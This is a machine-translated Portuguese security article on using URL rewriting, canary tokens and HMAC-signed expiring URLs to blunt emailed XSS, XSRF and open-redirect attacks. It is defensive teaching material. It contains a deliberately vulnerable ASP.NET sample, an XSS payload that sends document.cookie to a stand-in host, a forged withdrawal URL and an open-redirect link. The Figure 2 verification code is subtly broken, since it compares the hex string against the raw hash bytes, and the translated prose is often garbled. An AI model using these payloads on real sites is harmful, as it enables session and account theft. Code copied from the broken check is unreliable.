Este artigo foi traduzido por máquina.

Informativos sobre segurança

Proteger o seu site com URL reconfiguração

Bryan Sullivan

Conteúdo

Analisando o problema
Uma solução possível: personalizados Resource Locators
Uma solução melhor: URLs de Canary
Uma abordagem Stateless: expirar automaticamente URLs
Etapa final
Alguns caveats

Tim Berners-Lee escreveram uma vez famously que "URIs interessantes não altere." Sua opinião era que hiperlinks desfeitos erode confiança do usuário em um aplicativo e que URIs devem ser projetados de tal forma que eles podem permanecer inalterados para 200 anos ou mais. Enquanto ESTOU ciente de seu ponto, vai se supor que, quando ele feita essa instrução ele não foreseen as maneiras em que os hiperlinks seria um meio para que os hackers atacar usuários inocente.

Ataques como cross-site) XSS (script, solicitação de cross site falsificado (XSRF) e phishing de redirecionamento aberto com freqüência são propagadas através de hiperlinks mal-intencionados enviados em mensagens de email. (Se estiver desconhecido com esses ataques, recomendo a leitura sobre eles na Abra a Web Application Security Project (OWASP) Web.) Nós pode reduzir muito o risco dessas vulnerabilidades alterando freqüentemente nossos URLs — não uma vez a cada 200 anos, mas uma vez a cada 10 minutos. Os invasores não poderá explorar as vulnerabilidades dos aplicativos em massa enviando por email hiperlinks poisoned porque os links deve ser interrompidos e inválido pelo tempo as mensagens atingiu seus vítimas pretendidas. Com todos os devido respect para Tim SIR, embora URIs de "interessante" não pode alterar, seguro que certamente faça.

Analisando o problema

Antes que obtemos nos detalhes de uma solução, vejamos mais perto no problema. Eis um exemplo muito simples de código ASP.NET vulnerável a um ataque XSS:

protected void Page_Load(object sender, EventArgs e)
{
    // DO NOT USE - this is vulnerable code
    Response.Write("Welcome back, " + Request["username"]);
}

O código é vulnerável porque a página é gravar o parâmetro de nome de usuário da solicitação de volta para a resposta sem qualquer validação ou codificação. Um invasor pode facilmente explorar essa vulnerabilidade por criar uma URL com script injetado para o parâmetro de nome de usuário, como:

page.aspx?username=<script>document.location=   'http://contoso.com/'+document.cookie;</script>

Agora o invasor simplesmente precisa convencer uma vítima a clicar no link. Emails em massa são uma maneira eficaz para fazer isso, especialmente quando um pouco engenharia social é aplicada (por exemplo, "clique aqui para receber o Xbox 360 livre!"). URLs mal-intencionado semelhantes podem ser construídos e enviados por email para explorar vulnerabilidades XSRF:

checking.aspx?action=withdraw&amount=1000&destination=badguy
   and open-redirect vulnerabilities:
  page.aspx?redirect=http://evil.contoso.com

As vulnerabilidades de redirecionamento aberto são menos conhecidas de XSS e XSRF. Eles ocorrem quando um aplicativo permite que um usuário especifique uma URL de redirecionamento arbitrários na solicitação. Isso pode levar a um ataque de phishing no qual o usuário acredita que ela é clicar em um link que levará ela para good.adatum.com, mas na realidade ela será redirecionada para evil.contoso.com.

Uma solução possível: personalizados Resource Locators

Uma solução possível para esse problema for para um aplicativo regravar suas URLs para que eles são personalizados para cada usuário (ou melhor ainda, cada sessão de usuário). Por exemplo, um aplicativo poderia reescrever o contoso.com/page.aspx URL como contoso.com/{GUID}/page.aspx, onde {GUID} é aleatória e exclusivo para cada sessão de usuário. Considerando que haja em 2 128 possíveis valores GUID, é fantastically improvável que um invasor poderá descobrir um válido, portanto, provavelmente ele não poderá criar e uma URL válida (e poisoned) de email.

ASP.NET já tem funcionalidade semelhante incorporada como parte de sua capacidade de manipulação de sessão cookieless. Como alguns usuários não podem ou não aceita cookies HTTP, ASP.NET pode ser configurado para armazenar a ID do usuário sessão na URL em vez disso. Você pode ativar isso com uma alteração simples para o seu arquivo web.config:

<sessionState cookieless="true" />

Na inspeção detalhada, entanto, é ver que essa abordagem não realmente atenua as vulnerabilidades de segurança que estamos preocupados, como ataques XSS. O invasor não consiga detectar uma sessão válida GUID, mas ele realmente não precisará. Ele pode iniciar sua própria sessão, obter uma identificação de sessão válido e, em seguida, atrair uma vítima em usando a sessão, enviando por email a URL.

Mesmo que outro usuário estiver usando a sessão, o invasor não é impedido de usá-lo simultaneamente e roubo de dados particulares da vítima. O aplicativo não tem preciso como determinar que duas pessoas diferentes estão usando a mesma sessão — certamente ele poderia Verifique o endereço IP entrado, mas há muitos cenários em que o endereço IP de um único usuário for alterado legitimamente da solicitação para solicitar ou vários usuários compartilham o mesmo endereço IP. Esse ataque é chamado um ataque de fixation sessão e é uma das razões por gerenciamento de sessões cookieless geralmente não é recomendado usar.

Uma solução melhor: URLs de Canary

Pode aumentar bastante a eficiência da abordagem personalizado-URL fazendo uma pequena alteração. Em vez de usar a URL para armazenar a identificação da sessão, armazenar a identificação da sessão em um cookie como de costume e use a URL para armazenar um segredo compartilhado entre o cliente e o servidor. É modificar o código de reconfiguração de URL para armazenar uma por sessão, exclusiva e valor aleatório em estado de sessão e como parte da URL:

// create the shared secret
Guid secret = Guid.NewGuid();
Session["secret"] = secret;
// rewrite the URL to include the secret value
...

(O código necessário para realmente reescrever a URL e analisar os valores de entrada é além do escopo deste artigo. ASP.NET MVC pode ser usado para essa finalidade, e Scott Guthrie tem também publicou no blog anteriormente sobre reconfiguração de técnicas de URL ASP.NET.)

Em qualquer solicitação, é comparar o valor do GUID armazenado na URL que armazenados no estado da sessão. Se eles não corresponderem, ou se o GUID estiver ausente da URL, a solicitação será considerada mal-intencionado, ele será bloqueado e o endereço IP de origem está conectado. Essa defesa de segredo compartilhada (também conhecida como uma defesa a) foi a abordagem recomendada para impedir ataques XSRF longo, mas como você pode ver, faz um trabalho muito boa atenuantes refletidas vulnerabilidades XSS também por recortando fora do vetor de propagação de email.

É importante observar que esse não é uma solução completa contra ataques XSS. A melhor maneira de impedir ataques XSS é abordar a origem do problema, Validando Saída de entrada e de codificação, mas canaries podem ser aplicadas como uma camada adicional de defesa.

Uma abordagem Stateless: expirar automaticamente URLs

Enquanto à abordagem de URL é uma metodologia de BOM e segura, ela tem um ponto fraco: ele depende do estado da sessão do lado do servidor. Se você tiver um aplicativo sem monitoração de estado, como um serviço da Web ou um aplicativo de REST, você provavelmente não deseja habilitar o estado da sessão apenas para fins de armazenar a valores.

Em casos assim, você pode fazer o objetivo geral (impedindo que os invasores enviando por email hyperlinks maliciosos) sem a necessidade de manter o estado da sessão do lado do servidor, Implementando expirar automaticamente URLs. Uma URL que expira um curto período de tempo depois que ela é solicitada (10 minutos ou isso) bastante reduziria a janela de oportunidade para que um invasor para email dessa URL a possíveis vítimas, mas ainda permitir que usuários legítimos tempo para trabalhar com o recurso.

Uma maneira para colocar uma data de validade em uma URL é reescrever a URL para incluir o carimbo de hora atual, como este:

http://www.contoso.com/{timestamp}/page.aspx

Sempre que um usuário faz uma solicitação para o recurso, o carimbo de hora entrada na URL é verificado para ver se é mais de 10 minutos antigo (ou que o limite de tempo especificado é). Nesse caso, a solicitação é negada. Uma alternativa é gravar a hora de expiração desejado na URL e, em seguida, compará-la a hora atual. Entretanto, ambas as abordagens conforme apresentada são falhas porque um invasor pode muito facilmente falsifique uma URL que seria válida em algum momento no futuro:

http://www.contoso.com/{current timestamp + one hour}/page.aspx

Esse problema se torna ainda pior se você estiver usando a URL para manter o carimbo de hora expiração em vez do carimbo de hora da solicitação inicial porque agora o invasor pode especificar um ponto arbitrariamente distante no futuro e negar completamente a defesa:

http://www.contoso.com/{current timestamp + ten years}/page.aspx

A solução para esse problema é para impedir que invasores violação com o carimbo de data / hora por também incluindo um hash com chave do carimbo de data / hora na URL como tipo de um hash com chave mensagem código de autenticação (HMAC). O fato de que você chave o hash é crítico: sem isso, um invasor poderia novamente especificar um carimbo de data / hora futuras, calcular um valor de hash para ele e invalidar sua defesa. Quando você chave o hash com uma chave secreta, isso não é possível.

Enquanto MD5 é um algoritmo de hash populares, ele é mais considerado seguro, como os pesquisadores de criptografia tem demonstrado maneiras para causar conflitos e, portanto, quebrar o algoritmo. A melhor opção é uma das funções de SHA-2 (Secure Hash Algorithm) como o SHA-256, que não tiver sido atacado com êxito como da elaboração deste documento. SHA-256 é implementada pelas classes do Microsoft .NET Framework System.Security.Cryptography.SHA256Cng, SHA256Crypto­ServiceProvider, SHA256Managed e HMACSHA256.

Qualquer um desses funcionará, mas como a classe HMACSHA256 tem funcionalidades internas para aplicar um valor de chave secreto, ele é a melhor opção:

HMACSHA256 hmac = new HMACSHA256(); // use a random key value

Usar o construtor de HMACSHA256 padrão se aplica a um valor de chave aleatório para o hash, que deve ser suficiente para a segurança, mas isso não funcionar em um ambiente de farm de servidor porque cada objeto HMACSHA256 terão uma chave diferente. Se você estiver implantando seu aplicativo em um farm, você precisará explicitamente especificar a chave no construtor e verifique se é o mesmo para todos os servidores do farm.

A próxima etapa é gravar o carimbo de hora com o hash com chave para a URL. Como um detalhe de implementação, observe que a saída do método HMACSHA256.ComputeHash é uma matriz de bytes, mas você precisará converter isso em uma seqüência de URL-legal porque você irá ser escrever para a URL de saída. Essa conversão é um pouco mais complicada do que parece. Na base 64 normalmente é usado para converter dados binários arbitrários em texto da seqüência, mas base64 contém caracteres como o sinal de igual (=) e a barra (/) que irá causar problemas de análise para o ASP.NET mesmo se estiverem URL codificado. Em vez disso, você deve converter dados binários 1 byte cada vez para uma seqüência de caracteres hexadecimal, como mostrado na Figura 1 .

Figura 1 gerando o carimbo de hora com chave

private static string convertToHex(byte[] data)
{
    System.Text.StringBuilder sb = new System.Text.StringBuilder(data.Length);
    foreach (byte b in data)
        sb.AppendFormat("{0:X2}", (int)b);

    return sb.ToString();
}

private string generateKeyedTimestamp()
{
    long outgoingTicks = DateTime.Now.Ticks;

    // get a SHA2 hash value of the timestamp
    byte[] timestampHash = 
        this.hmac.ComputeHash(System.BitConverter.GetBytes(outgoingTicks));

    // return the current timestamp with the keyed hash value
    return outgoingTicks.ToString() + "-" + convertToHex(timestampHash);
}

Finalmente, você deve verificar o carimbo de hora de entrada por recomputing o hash e certificando-se de que ele corresponda ao hash de entrada. O código é mostrado na Figura 2 .

A Figura 2 Verificando o carimbo de hora de entrada

private static byte[] convertFromHex(string data)
{
    // we know that the hex string must have an even number of digits
    if ((data.Length % 2) != 0)    
        throw new ArgumentException();
    byte[] dataHex = new byte[data.Length / 2];
    for (int i = 0; i < data.Length; i = i + 2)
    {
        string hexByte = data.Substring(i, 2);
        dataHex[i / 2] = (byte)Convert.ToByte(hexByte, 16);
    }

    return dataHex;
}

private bool verifyKeyedTimestamp(long incomingTicks, string incomingHmac)
{
    if (String.IsNullOrEmpty(incomingHmac))
        return false;

    byte[] incomingHmacBytes = convertFromHex(incomingHmac);

    // recompute the hash and verify that it matches the passed-in value
    byte[] recomputedHmac = 
        this.hmac.ComputeHash(BitConverter.GetBytes(incomingTicks));

    // perform byte-by-byte comparison on the arrays
    if (incomingHmac.Length != recomputedHmac.Length)
        return false;
    for (int i = 0; i < incomingHmac.Length; i++)
    {
        if (incomingHmac[i] != recomputedHmac[i])
            return false;
    }

    return true;
}

Etapa final

Como etapa final, se você estiver usando a abordagem a ou a abordagem de expiração automática, você precisará designar uma ou mais páginas em seu aplicativo como "páginas inicial" que podem ser acessados sem o símbolo de URL especial. Sem isso, não poderão usar o aplicativo porque seria possível fazer uma solicitação inicial válida.

Há várias maneiras em que você pode designar as páginas de destino, de codificá-los no reconfiguração módulo de código (definitivamente não recomendado) para especificando-os em um web.config arquivo (melhores), mas minha abordagem preferencial é usar um atributo personalizado. Usando um atributo personalizado reduz a quantidade de código, você precisa escrever e também permite a herança: você pode definir uma classe LandingPage e aplicar o atributo personalizado a essa classe, e, em seguida, qualquer página que deriva de LandingPage também será uma página inicial.

Comece definindo uma nova classe de atributo personalizado chamada LandingPageAttribute. Essa classe, na verdade, não precisa contém métodos ou propriedades. Você só precisa ser capaz de marcar páginas com esse atributo e conseguir determinar programaticamente se uma página tão está marcada:

public class LandingPageAttribute : Attribute
{
}

Agora marcar qualquer página que você deseja usar como uma página inicial com o atributo LandingPage, assim:

[LandingPage()]
public partial class HomePage : System.Web.UI.Page 

Finalmente, na seu código de verificação de URL, verifique se o manipulador solicitado tem o atributo personalizado. Se você estiver implementando seu URL reescrever o código como um HttpModule, você pode usar o código na Figura 3 para executar a verificação.

A Figura 3 Verificando a LandingPageAttribute personalizado

public class RewriteModule : IHttpModule
{
    public void Init(HttpApplication context)
    {
        context.PostMapRequestHandler += new 
            EventHandler(context_PostMapRequestHandler);
    }

    void context_PostMapRequestHandler(object sender, EventArgs e)
    {
        HttpApplication application = sender as HttpApplication;
        if ((application == null) || (application.Context == null))
            return;

        // get the current request handler
        IHttpHandler httpHandler = application.Context.CurrentHandler;
        if (httpHandler == null)
            return;

        // reflect into the handler type to look for a LandingPageAttribute
        Type handlerType = httpHandler.GetType();
        object[] landingPageAttributes =
            handlerType.GetCustomAttributes(typeof(LandingPageAttribute),
                true);

        // allow access if we found any
        bool allowAccess = (landingPageAttributes.Length > 0);
        ...
    }
}

Use o atributo LandingPage com cuidado. Não só são a reconfiguração de defesas inválido para patamar páginas (porque um invasor pode simplesmente remover o token de URL), mas uma vulnerabilidade XSS em uma página inicial única pode comprometer todas as páginas no domínio. Um invasor poderia inserir uma série de chamadas de XMLHttpRequest no script de cliente para determinar programaticamente uma delator válido ou um carimbo de data / hora e redirecionar seu ataque adequadamente.

Se possível, determinar uma página de destino única para seu aplicativo e tiver que página imediatamente redirecionar para uma página de URL-reescrito após a remoção de todos os parâmetros de consulta. Por exemplo,

http://www.contoso.com/landingpage.aspx?a=b&c=d

poderia redirecionar automaticamente para

http://www.contoso.com/(token)/otherpage.aspx

Alguns caveats

Claro, reconfiguração de URL pode não ser apropriado para todos os aplicativos. Um efeito de lado negativo dessa abordagem é que embora os invasores não seja capazes de email hyperlinks maliciosos, legítimos usuários são da mesma forma impedidos de enviar links válido ou mesmo de marcar páginas no aplicativo. Qualquer página marcada como uma página inicial pode ser marcada, mas como mencionei antes, você precisa ter muito cuidado ao usar páginas de destino. Portanto, se você espera que os usuários do seu aplicativo para páginas de indicador diferente que a página inicial, reconfiguração de URL é provavelmente não uma boa solução para você.

Além disso, enquanto reconfiguração de URL é um mecanismo de defesa em profundidade rápido e fácil, é exatamente isso: proteção em camadas. Não é um marcador prateado contra ataques XSS ou outros ataques. Uma URL automaticamente expirada ainda pode ser explorada por um invasor com acesso a um servidor Web de seu próprio. Em vez de enviar out mal-intencionado hiperlinks que aponta diretamente para a página vulnerável, ele pode enviar hiperlinks que apontam para seu próprio site. Quando seu site obtém uma ocorrência de um dos emails phished, ele pode contatar uma página inicial do site vulnerável para obter um carimbo de data / hora válido e, em seguida, redirecione o usuário adequadamente.

Reconfiguração de URL tornar de trabalho do invasor mais difícil: ele agora tem convença um usuário a visitar um hiperlink para seu site da Web (evil.contoso.com) em vez de um confiável uma (www.msn.com) e ele é também deixando uma trilha muito clara novamente para si mesmo para lei agências de aplicação a seguir. No entanto, isso irá provavelmente ser de conforto pouco a qualquer vítimas que se enquadram para o email phished e ter suas identidades roubado como resultado. Usar a reconfiguração de URL como uma medida extra de defesa, mas sempre certifique a vulnerabilidades de endereço na raiz do problema.

Finalmente, gostaria Observe que as técnicas que já descritas neste artigo não devem ser construed como guia de desenvolvimento Microsoft com autoridade. Por favor, à vontade para usá-los, mas não levá-los como requisitos do SDL (ciclo de vida do desenvolvimento seguro). Nós atualmente são conduzir pesquisa em andamento nesta área, e nós adoraria fazer seus comentários. Sinta-se à vontade para me contatar na (de blog do SDL blogs.msdn.com/SDL) com os comentários.

Envie suas dúvidas e comentários para briefs@microsoft.com.

Bryan Sullivan é gerente de programa de segurança para a equipe do Microsoft Security Development Lifecycle, onde ele é especializada em problemas de segurança de aplicativos da Web. Seu primeiro livro, Ajax Security, foi publicado pela Addison-Wesley em dezembro de 2007.